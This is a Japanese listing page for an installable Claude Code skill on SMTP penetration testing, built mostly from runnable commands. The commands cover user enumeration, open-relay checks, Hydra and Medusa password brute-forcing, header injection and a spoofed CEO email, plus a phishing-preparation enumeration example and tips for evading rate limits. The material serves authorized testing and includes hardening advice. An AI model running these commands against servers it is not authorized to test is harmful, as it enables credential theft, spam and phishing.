mcpField
S
SMTP Penetration Testing

SMTP Penetration Testing

github.com/davila7セキュリティ33.0k185 回インストール1 日前に更新
リポジトリ

SMTP Penetration Testing について

SMTP Penetration Testing は、許可を得た SMTP サーバーの評価を行うセキュリティ担当者向けスキルです。サービス探索、ユーザー列挙、中継・認証の確認、TLS と DNS レコードの分析手順、修正案を提供します。

主な機能

  1. 01SMTP サービスの探索とバナー確認
  2. 02ユーザー列挙と中継動作のテスト
  3. 03認証と TLS 設定の評価
  4. 04SPF、DKIM、DMARC レコードの確認
  5. 05修正案の提示

活用シーン

  1. 01許可を得たメールサーバーの評価
  2. 02オープンリレーとユーザー列挙リスクの確認
  3. 03SMTP 暗号化とメール認証設定のレビュー

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/davila7/claude-code-templates --skill smtp-penetration-testing

インストール後、Claude Code で/smtp-penetration-testingを入力して読み込まれたか確認します。

詳細

SMTP ペネトレーションテスト

目的

SMTP(Simple Mail Transfer Protocol)サーバーの包括的なセキュリティ評価を実施し、オープンリレー、ユーザー列挙、弱い認証、設定ミスなどの脆弱性を特定します。このスキルでは、バナー取得、ユーザー列挙手法、リレーテスト、総当たり攻撃、およびセキュリティ強化の推奨事項を扱います。

前提条件

必要なツール
# Nmap with SMTP scripts
sudo apt-get install nmap

# Netcat
sudo apt-get install netcat

# Hydra for brute force
sudo apt-get install hydra

# SMTP user enumeration tool
sudo apt-get install smtp-user-enum

# Metasploit Framework
msfconsole
必要な知識
  • SMTP プロトコルの基礎
  • メールアーキテクチャ(MTA、MDA、MUA)
  • DNS と MX レコード
  • ネットワークプロトコル
必要なアクセス権
  • 対象の SMTP サーバーの IP アドレスまたはホスト名
  • テストに関する書面による承認
  • 列挙および総当たり攻撃用のワードリスト

成果物

  1. SMTP セキュリティ評価レポート - 包括的な脆弱性の検出結果
  2. ユーザー列挙の結果 - 発見された有効なメールアドレス
  3. リレーテストの結果 - オープンリレーの状態と悪用の可能性
  4. 是正の推奨事項 - セキュリティ強化のガイダンス

中核ワークフロー

フェーズ 1: SMTP アーキテクチャの理解
Components: MTA (transfer) → MDA (delivery) → MUA (client)

Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)

Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA
フェーズ 2: SMTP サービスの検出

SMTP サーバーとそのバージョンを特定します:

# Discover SMTP ports
nmap -p 25,465,587,2525 -sV TARGET_IP

# Aggressive service detection
nmap -sV -sC -p 25 TARGET_IP

# SMTP-specific scripts
nmap --script=smtp-* -p 25 TARGET_IP

# Discover MX records for domain
dig MX target.com
nslookup -type=mx target.com
host -t mx target.com
フェーズ 3: バナー取得

SMTP サーバーの情報を取得します:

# Using Telnet
telnet TARGET_IP 25
# Response: 220 mail.target.com ESMTP Postfix

# Using Netcat
nc TARGET_IP 25
# Response: 220 mail.target.com ESMTP

# Using Nmap
nmap -sV -p 25 TARGET_IP
# Version detection extracts banner info

# Manual SMTP commands
EHLO test
# Response reveals supported extensions

バナー情報を解析します:

Banner reveals:
- Server software (Postfix, Sendmail, Exchange)
- Version information
- Hostname
- Supported SMTP extensions (STARTTLS, AUTH, etc.)
フェーズ 4: SMTP コマンドの列挙

利用可能な SMTP コマンドをテストします:

# Connect and test commands
nc TARGET_IP 25

# Initial greeting
EHLO attacker.com

# Response shows capabilities:
250-mail.target.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-8BITMIME
250 DSN

テスト対象の主要なコマンド:

# VRFY - Verify user exists
VRFY admin
250 2.1.5 [email protected]

# EXPN - Expand mailing list
EXPN staff
250 2.1.5 [email protected]
250 2.1.5 [email protected]

# RCPT TO - Recipient verification
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
# 250 OK = user exists
# 550 = user doesn't exist
フェーズ 5: ユーザー列挙

有効なメールアドレスを列挙します:

# Using smtp-user-enum with VRFY
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP

# Using EXPN method
smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP

# Using RCPT method
smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP

# Specify port and domain
smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com

Metasploit を使用する場合:

use auxiliary/scanner/smtp/smtp_enum
set RHOSTS TARGET_IP
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set UNIXONLY true
run

Nmap を使用する場合:

# SMTP user enumeration script
nmap --script smtp-enum-users -p 25 TARGET_IP

# With custom user list
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP
フェーズ 6: オープンリレーのテスト

不正なメールリレーをテストします:

# Using Nmap
nmap -p 25 --script smtp-open-relay TARGET_IP

# Manual testing via Telnet
telnet TARGET_IP 25
HELO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
Subject: Relay Test
This is a test.
.
QUIT

# If accepted (250 OK), server is open relay

Metasploit を使用する場合:

use auxiliary/scanner/smtp/smtp_relay
set RHOSTS TARGET_IP
run

テストのバリエーション:

# Test different sender/recipient combinations
MAIL FROM:<>
MAIL FROM:<test@[attacker_IP]>
MAIL FROM:<[email protected]>

RCPT TO:<[email protected]>
RCPT TO:<"[email protected]">
RCPT TO:<test%[email protected]>
フェーズ 7: 総当たり認証

弱い SMTP 認証情報をテストします:

# Using Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP

# With specific port and SSL
hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp

# Multiple users
hydra -L users.txt -P passwords.txt TARGET_IP smtp

# Verbose output
hydra -l admin -P passwords.txt smtp://TARGET_IP -V

Medusa を使用する場合:

medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp

Metasploit を使用する場合:

use auxiliary/scanner/smtp/smtp_login
set RHOSTS TARGET_IP
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
set VERBOSE true
run
フェーズ 8: SMTP コマンドインジェクション

コマンドインジェクションの脆弱性をテストします:

# Header injection test
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
Subject: Test
Bcc: [email protected]
X-Injected: malicious-header

Injected content
.

メールスプーフィングのテスト:

# Spoofed sender (tests SPF/DKIM protection)
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
From: CEO <[email protected]>
Subject: Urgent Request
Please process this request immediately.
.
フェーズ 9: TLS/SSL セキュリティテスト

暗号化の設定をテストします:

# STARTTLS support check
openssl s_client -connect TARGET_IP:25 -starttls smtp

# Direct SSL (port 465)
openssl s_client -connect TARGET_IP:465

# Cipher enumeration
nmap --script ssl-enum-ciphers -p 25 TARGET_IP
フェーズ 10: SPF、DKIM、DMARC の分析

メール認証レコードを確認します:

# SPF/DKIM/DMARC record lookups
dig TXT target.com | grep spf            # SPF
dig TXT selector._domainkey.target.com    # DKIM
dig TXT _dmarc.target.com                 # DMARC

# SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral

クイックリファレンス

主要な SMTP コマンド
コマンド目的例
HELOクライアントの識別HELO client.com
EHLO拡張 HELOEHLO client.com
MAIL FROM送信者の設定MAIL FROM:<[email protected]>
RCPT TO受信者の設定RCPT TO:<[email protected]>
DATAメッセージ本文の開始DATA
VRFYユーザーの検証VRFY admin
EXPNエイリアスの展開EXPN staff
QUITセッションの終了QUIT
SMTP レスポンスコード
コード意味
220サービス準備完了
221接続を終了
250OK / 要求された操作が完了
354メール入力の開始
421サービスが利用できません
450メールボックスが利用できません
550ユーザーが不明 / メールボックスが見つかりません
553メールボックス名が許可されていません
列挙ツールのコマンド
ツールコマンド
smtp-user-enumsmtp-user-enum -M VRFY -U users.txt -t IP
Nmapnmap --script smtp-enum-users -p 25 IP
Metasploituse auxiliary/scanner/smtp/smtp_enum
Netcatnc IP 25 の後、手動でコマンドを入力
一般的な脆弱性
脆弱性リスクテスト方法
オープンリレー高外部の受信者を指定したリレーテスト
ユーザー列挙中VRFY/EXPN/RCPT コマンド
バナー情報の漏えい低バナー取得
弱い認証高総当たり攻撃
TLS 未使用中STARTTLS のテスト
SPF/DKIM の未設定中DNS レコードの照会

制約事項と制限

法的要件
  • 所有している、またはテストする許可を得ている SMTP サーバーのみをテストしてください
  • スパムや悪意のあるメールの送信は違法です
  • すべてのテスト活動を文書化してください
  • 発見したオープンリレーを悪用しないでください
技術的な制限
  • VRFY/EXPN は最近のサーバーではしばしば無効化されている
  • レート制限により列挙が遅くなる場合がある
  • 有効なユーザーと無効なユーザーに対して同じ応答を返すサーバーもある
  • グレーリストにより列挙の応答が遅れる場合がある
倫理的な境界
  • 発見したリレーから実際にスパムを送信しないこと
  • 悪意のある目的でメールアドレスを収集しないこと
  • オープンリレーはサーバー管理者に報告すること
  • 検出結果は、許可を得たセキュリティ改善のためにのみ使用すること

例

例 1: SMTP の完全な評価

シナリオ: メールサーバーの完全なセキュリティ評価

# Step 1: Service discovery
nmap -sV -sC -p 25,465,587 mail.target.com

# Step 2: Banner grab
nc mail.target.com 25
EHLO test.com
QUIT

# Step 3: User enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com

# Step 4: Open relay test
nmap -p 25 --script smtp-open-relay mail.target.com

# Step 5: Authentication test
hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com

# Step 6: TLS check
openssl s_client -connect mail.target.com:25 -starttls smtp

# Step 7: Check email authentication
dig TXT target.com | grep spf
dig TXT _dmarc.target.com
例 2: ユーザー列挙攻撃

シナリオ: フィッシングの準備のために有効なユーザーを列挙する

# Method 1: VRFY
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25

# Method 2: RCPT with timing analysis
smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com

# Method 3: Metasploit
msfconsole
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
run

# Results show valid users
[+] 192.168.1.100:25 - Found user: admin
[+] 192.168.1.100:25 - Found user: root
[+] 192.168.1.100:25 - Found user: postmaster
例 3: オープンリレーの悪用

シナリオ: オープンリレーの脆弱性をテストし、文書化する

# Test via Telnet
telnet mail.target.com 25
HELO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
# If 250 OK - VULNERABLE

# Document with Nmap
nmap -p 25 --script smtp-open-relay --script-args [email protected],[email protected] mail.target.com

# Output:
# PORT   STATE SERVICE
# 25/tcp open  smtp
# |_smtp-open-relay: Server is an open relay (14/16 tests)

トラブルシューティング

問題原因解決策
接続が拒否されるポートがブロックされているか閉じているnmap でポートを確認する。ISP がポート 25 をブロックしている可能性があるため、587/465 を試す。VPN を使用する
VRFY/EXPN が無効サーバーが強化されているRCPT TO 方式を使用する。応答時間やコードの違いを分析する
ブルートフォースがブロックされるレート制限/ロックアウト速度を落とす(hydra -W 5)。パスワードスプレーを使用する。fail2ban の有無を確認する
SSL/TLS エラーポートまたはプロトコルの誤りSSL には 465、STARTTLS には 25/587 を使用する。EHLO の応答を確認する

セキュリティに関する推奨事項

管理者向け
  1. オープンリレーの無効化 - 外部への配信には認証を必須にする
  2. VRFY/EXPN の無効化 - ユーザー列挙を防ぐ
  3. TLS の強制 - すべての接続で STARTTLS を必須にする
  4. SPF/DKIM/DMARC の実装 - メールのなりすましを防ぐ
  5. レート制限 - ブルートフォース攻撃を防ぐ
  6. アカウントロックアウト - 認証失敗後にアカウントをロックする
  7. バナーの強化 - サーバー情報の開示を最小限にする
  8. ログ監視 - 不審なアクティビティを通知する
  9. パッチ管理 - SMTP ソフトウェアを最新の状態に保つ
  10. アクセス制御 - SMTP を許可された IP アドレスに制限する

コメント